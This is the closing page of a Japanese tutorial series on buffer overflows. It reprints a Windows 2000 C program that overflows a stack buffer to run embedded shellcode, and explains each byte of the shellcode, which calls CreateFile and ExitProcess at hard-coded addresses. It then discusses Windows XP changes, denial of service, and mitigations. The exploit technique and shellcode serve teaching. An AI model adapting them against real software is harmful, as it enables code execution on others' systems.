分かりやす〜い
コンピュータ技術情報

TOPに戻る
▼Processor
バッファオーバーフロー
┣ 異常な動作
┣ 本当に怖い事
┣ プログラムを作る
┣ バッファオーバーフロ
┃ ーを発生させる

┣ スタック領域の構成
┣ 何故強制終了されるの
┃ か?

┣ 強制終了されないよう
┃ に作り変える

┣ 任意のコードを実行す
┃ る

┣ of1.cとof2.cとの違い
┣ 例外
┣ 例外ハンドラの行う事
┣ of3.cを作る
┣ of1.cとof3.cとの違い
┣ of3.exeの例外ハンド
┃ ラ

┣ of3.exeを強制終了す
┃ るのは?

┣ 例外ハンドラの特徴
┣ Blue Screen
┣ BufferOverFlow応用
┃ プログラム

┗ 機械語の説明

Copyright(C) 2001-2003.ugpop. All rights reserved.




■デジタル用語辞典:
■ 機械語の説明 ■

前回はバッファオーバーフローにより任意のコードを実行して
しまうプログラムを、Windows2000用とWindows98用とでそれぞ
れ作成し、実行してみました。

前回のプログラムをもう1度見てみましょう。


─●↓"of5-2000.c"ここから───────────────
#include <stdio.h>
#include <string.h>
void main(void);

void main()
{
  unsigned char* i;
  unsigned char b[]= { 0x10, 0x11, 0x12, 0x13,
             0x14, 0x15, 0x16, 0x17,
             0x18, 0x19, 0x1a, 0x1b,
             0x1c, 0x1d, 0x1e, 0x1f,
             0xff, 0xff, 0xff, 0xff,

             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
             0xff, 0xff, 0xff, 0xff,
// ●↓ここから変更
             0xeb, 0x29, 0x90, 0x90,
             0xd0, 0x49, 0xe5, 0x77,

             0x5B, 0x33, 0xC0, 0x50,
             0x6A, 0x01, 0x6A, 0x02,
             0x50, 0x6A, 0x01, 0x83,
             0xC0, 0x01, 0xC1, 0xE0,
             0x1F, 0x50, 0x53, 0xB8,
             0x8D, 0x2B, 0xE6, 0x77,
             0xFF, 0xD0, 0x6A, 0x01,
             0xB8, 0xA1, 0xD6, 0xF8,
             0xBF, 0xFF, 0xE0, 0xE8,
             0xD8, 0xFF, 0xFF, 0xFF,
             0x4F, 0x76, 0x65, 0x72,
             0x46, 0x6C, 0x6F, 0x77,
             0x2E, 0x43, 0x61, 0x6C,
             0x6C, 0x00,
// ●↑ここまで変更
          };
  unsigned char a[]= { 0x0, 0x1, 0x2, 0x3,
             0x4, 0x5, 0x6, 0x7,
          };

  // スタック領域を表示する。
  for(i=&b[0];i<=&a[67];i+=4)
  {
    printf("%08X:%02X %02X %02X %02X\n", i, *i, *(i+1), *(i+2), *(i+3));
  }
  // バッファbをバッファaにコピーする。
  strncpy((char*)a, (char*)b, sizeof(b));
  printf("copy end\n");
  // スタック領域を表示する。
  for(i=&b[0];i<=&a[67];i+=4)
  {
    printf("%08X:%02X %02X %02X %02X\n", i, *i, *(i+1), *(i+2), *(i+3));
  }
}
─●↑"of5-2000.c"ここまで───────────────


このプログラムを実行するとバッファオーバーフローが発生し
任意のコードが実行され、"OverFlow.Call"という中身が空の
ファイルが作成されるのでした。

今回は、バッファbの中にある機械語コード部について簡単に
説明したいと思います。

それでは、以下にバッファbの機械語コード部分を示します。

0xeb, 0x29, 0x90, 0x90,
0xd0, 0x49, 0xe5, 0x77,

0x5B, 0x33, 0xC0, 0x50,
0x6A, 0x01, 0x6A, 0x02,
0x50, 0x6A, 0x01, 0x83,
0xC0, 0x01, 0xC1, 0xE0,
0x1F, 0x50, 0x53, 0xB8,
0x8D, 0x2B, 0xE6, 0x77,
0xFF, 0xD0, 0x6A, 0x01,
0xB8, 0xA1, 0xD6, 0xF8,
0xBF, 0xFF, 0xE0, 0xE8,
0xD8, 0xFF, 0xFF, 0xFF,
0x4F, 0x76, 0x65, 0x72,
0x46, 0x6C, 0x6F, 0x77,
0x2E, 0x43, 0x61, 0x6C,
0x6C, 0x00,

これらのコードを意味のある1つ1つの命令毎に分割し、右側
に対応するアセンブリコードを示します。

0xeb, 0x29,          jmp 29h
0x90,             nop
0x90,             nop
0xd0, 0x49, 0xe5, 0x77,   ←ここは機械語コードではなく、
               「call ebx」のある場所を指している。
0x5B,             pop ebx
0x33, 0xC0,          xor eax,eax
0x50,             push eax
0x6A, 0x01,          push 1
0x6A, 0x02,          push 2
0x50,             push eax
0x6A, 0x01,          push 1
0x83, 0xC0, 0x01,       add eax,1
0xC1, 0xE0, 0x1F,       shl eax,1Fh
0x50,             push eax
0x53,             push ebx
0xB8, 0x8D, 0x2B, 0xE6, 0x77, mov eax,077E62B8Dh
0xFF, 0xD0,          call eax
0x6A, 0x01,          push 1
0xB8, 0xA1, 0xD6, 0xF8, 0xBF, mov eax,0BFF8D6A1h
0xFF, 0xE0,          jmp eax
0xE8, 0xD8, 0xFF, 0xFF, 0xFF, call -28h
0x4F, 0x76, 0x65, 0x72,    "Over"
0x46, 0x6C, 0x6F, 0x77,    "Flow"
0x2E, 0x43, 0x61, 0x6C,    ".cal"
0x6C,             "l"
0x00,             null

まず2行目と3行目の「nop」ですが、これはNo OPerationの
事で、インテルプロセッサはこの命令を見つけると「何も行い
ません。」

何故「nop」命令を入れるのかと言うと、「call ebxのある場
所」の4バイト手前に制御が移行されるので、「nop」命令を
入れて間を埋めているのです。

1行目の「jmp 29h」ですが、この命令は「16進数で29番
目後ろに制御を移行しなさい」という命令です。
この命令を実行する事により、下から6行目に制御が移行され
ます。

下から6行目を見てみましょう。

      ・
      ・
      ・
0xE8, 0xD8, 0xFF, 0xFF, 0xFF, call -28h←★ここへ制御が移行される。
0x4F, 0x76, 0x65, 0x72,    "Over"
0x46, 0x6C, 0x6F, 0x77,    "Flow"
0x2E, 0x43, 0x61, 0x6C,    ".cal"
0x6C,             "l"
0x00,             null

「call -28h」という命令は、「16進数で28番目前の方に
制御を移行しなさい」という命令です。

これにより、今度は上から5行目へ制御が移行されます。

最初に「jmp」命令で制御を移行したばかりなのに、すぐに
「call -28h」という命令でまた別の場所へ制御を移行させて
います。

何故こういう事を行うのかと言うと、"OverFlow.call"という
文字列が格納されている「場所」を取得したいからです。

「call」命令を使用すると、インテルプロセッサは「呼出し元
の場所」情報をスタック領域に格納してくれます。
この場合、「call -28h」という命令の次の命令がある場所、
つまり"OverFlow.call"という文字列がある場所をスタック領
域に格納してくれるのです。

"OverFlow.call"という文字列は後の処理でAPI(Application
Programming Interface)を呼出す時にパラメータとして渡す必
要があります。

それでは制御が移行された直後、上から5行目の命令を見てみ
ましょう。

      ・
      ・
      ・
0x5B,             pop ebx←★ここへ制御が移行される。
0x33, 0xC0,          xor eax,eax
0x50,             push eax
      ・
      ・
      ・

「pop ebx」という命令があります。
この命令は「スタック領域からデータを取り出して、レジスタ
EBXに格納しなさい。」という命令です。

"call"命令により"OverFlow.call"の文字列のある場所が格納
されているので、"pop"命令を使用してスタック領域から"Ove-
rFlow.call"の文字列のある場所を取り出しているのです。

ここから15行目まではAPIを呼出す為のパラメータを設定す
る処理が続きますが、この部分に関しては長くなるので説明は
省略します。

ここまでが理解出来る方であれば、1つずつ見ていくと分かる
と思います。

次に上から16行目を見てみましょう。

      ・
      ・
      ・
0xB8, 0x8D, 0x2B, 0xE6, 0x77, mov eax,077E62B8Dh
0xFF, 0xD0,          call eax
      ・
      ・
      ・

これは"CreateFile"というAPIを呼出している部分です。
Windows2000では、通常「77E62B8D」という場所にこのAPIが存
在しています。

これによりOSに対して「ファイルを作成して下さいね。」と
処理を依頼した事になります。

上から6行目からここまでの処理をC言語で記述すると以下の
様になります。

CreateFile("OverFlow.call", GENERIC_READ, FILE_SHARE_READ
, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_READONLY, 0);


最後に以下の命令が実行されます。

0x6A, 0x01,          push 1
0xB8, 0xA1, 0xD6, 0xF8, 0xBF, mov eax,0BFF8D6A1h
0xFF, 0xE0,          jmp eax

これは"ExitProcess"というAPIを呼出している部分です。
Windows2000では、通常「BFF8D6A1」という場所にこのAPIが存
在しています。

これによりOSに対して「自プログラムを終了させて下さい。」
と処理を依頼した事になります。

この処理をC言語で記述すると以下の様になります。

ExitProcess(1);


"CreateFile"や"ExitProcess"等のAPIについて興味のある方は
マイクロソフトのサイトにて検索すると見つける事が出来ます。

MicroSoft Developper Network API Reference
http://msdn.microsoft.com/library/en-us/winprog/winprog/
windows_api_reference.asp?frame=true
(1行に書ききれないので切り貼りしてつなげてください。)

以上でバッファbの機械語コード部分の説明は終了です。


さて、大分長くなってしまいましたが、今回まででバッファオ
ーバーフローについて説明が完了した事になります。

この講座を熱心に読んでこられた方であれば、バッファオーバ
ーフローの仕組みや、その脆弱性の利用方法、コンピュータウ
ィルスがどのように発病してしまうのか、等など、詳細情報が
お分かり頂けた事と思います。

既にお気づきの方もいらっしゃるかもしれませんが、実はこの
講座は、講座「CodeREDウィルスとは?」を更に詳細に説明し
た物です。

CodeREDウィルスについては非常に問い合わせが多く、更に詳
細な情報を求めるご意見がありましたので、今回の講座で取り
上げる事にしました。

より詳細な説明と具体的なコードを提示した為、分かりにくく
なってしまいましたが、詳細な情報を求めていらっしゃる方に
とってはそれなりに役に立ったのではないでしょうか?


ところでWindowsXPは?というご意見が聞こえてきそうですが、
WindowsXPではこの講座で説明した手法を使ってバッファオー
バーフローの脆弱性を利用する事は「出来ません。」

実はこの講座で紹介した手法というのは、セキュリティ情報に
詳しい方達にとっては結構有名なことなのです。

当然マイクロソフト社もこの事に気がついていて、WindowsXP
では一部動作が変更されているようです。

具体的には、例外ハンドラが制御を移行しようとした瞬間には
レジスタEBXは「メッセージを表示するプログラムの場所情報
の4バイト手前」を指しているのではなく、「0」となってい
るようです。

レジスタEBXが「0」となっているので「call ebx」の命令が
実行されても0番目に制御が移行される事になり、任意のコー
ドが実行される事はありません。
(この場合、メモリ上の0番目に制御が移行された後、更に例
外ハンドラが呼出され、「call ebx」へ制御を移行し、0番目
へ制御が移行され、更に例外ハンドラが呼出され、「call ebx」
へ制御を移行し、0番目へ制御が移行され、・・・という事を
延々と繰返し、最後はスタック領域不足で強制終了されるとい
う一連の動作を行う事になります。)

WindowsXPではこの講座で扱った手法は使用出来ない、と書く
と「WindowsXPではバッファオーバーフローの脆弱性はありえ
ない。」と勘違いされる方がいらっしゃるかもしれませんが、
そうではありません。

あくまで、「この講座で扱った手法は」使用できないというだ
けであり、絶対に安全という事ではないのです。

もっと言うと、この講座で扱った手法を使用して「任意のコー
ドを実行する事が」出来なくなっただけであり、「強制終了さ
せてしまう」事はやはり可能なのです。

「強制終了させてしまう」とはどういう事かと言うと、「その
サービスを行えないようにしてしまう」という事です。

つまりDenial Of Service attack(サービス拒否攻撃)は行え
るという事になります。

ですので、WindowsXPを使用しているからといって安心する事
は出来ません。

それでは対策はどうすれば良いのか、という話になりますが、
これはマイクロソフト社のTrust Worthy Computingというキャ
ンペーンを思い出して頂けると分かりやすいのですが、その中
の一環として開発者がプログラムコードをチェックする、とい
う事が行われたそうです。

つまり開発者がプログラムコードをチェックし、脆弱となりそ
うな処理を見つけ出す、という非常に手間のかかる事を行わな
ければなりません。

バッファをチェックするツール等を購入して使っても良いと思
いますが、やはり全てについて完璧にチェックを行う事は難し
いのではないかと思います。(私はこれらのツールを使った事
が無いので良く分かりません。)

それでは、これからもバッファに関するバグを見つけ出す為に、
非常に手間のかかる作業を行い続けなければならないのかと言
うと、最近ではSUN社のJAVAや、マイクロソフト社の.NETなど、
バッファに関するバグを極力減らそうとする技術もいくつか出
来上がっています。(勿論、これらの技術はバッファのバグを
減らす為だけに開発されたわけではありませんし、この意見に
ついては異論を持たれる方もいらっしゃるかもしれません。)

JAVAはポインタの操作を言語仕様として認めていません。また、
.NETは実行時にバッファのチェックが行われます。

組込み系でないアプリケーションソフトウェアの開発に携わっ
ている方は、この様な新しい技術に移行する事により、バッフ
ァに関する問題は(ほぼ)避ける事が出来ます。
(新しい技術に移行するかどうかを開発者が決定できないとこ
ろが悩ましいところではありますが。)

逆に言うと、新しい技術に移行しないと、相変わらずバッファ
のチェックを1つずつ人が行ったり、コードの中にいちいちバ
ッファをチェックする為のコードを作りこんだり、というよう
な効率の悪い作業を強いられる事になります。


最後に、この講座が非常に分かりにくい内容となってしまった
事をお詫び致します。

今回の講座が少しでも理解できた方であれば、講座「CodeRED
ウィルスとは?」を読んでもらえるとかなり分かりやすく感じ
るのではないでしょうか。

出来ればそちらの方も併せて読んでみると、よりいっそう理解
度が深まるかもしれません。



参考文献:
80x86/80x87ファミリーテクニカルハンドブック
ハッカープログラミング大全



▲このページの上へ

▲このページの上へ

▲このページの上へ

←前に戻る    ▲このページの上へ

▲このページの上へ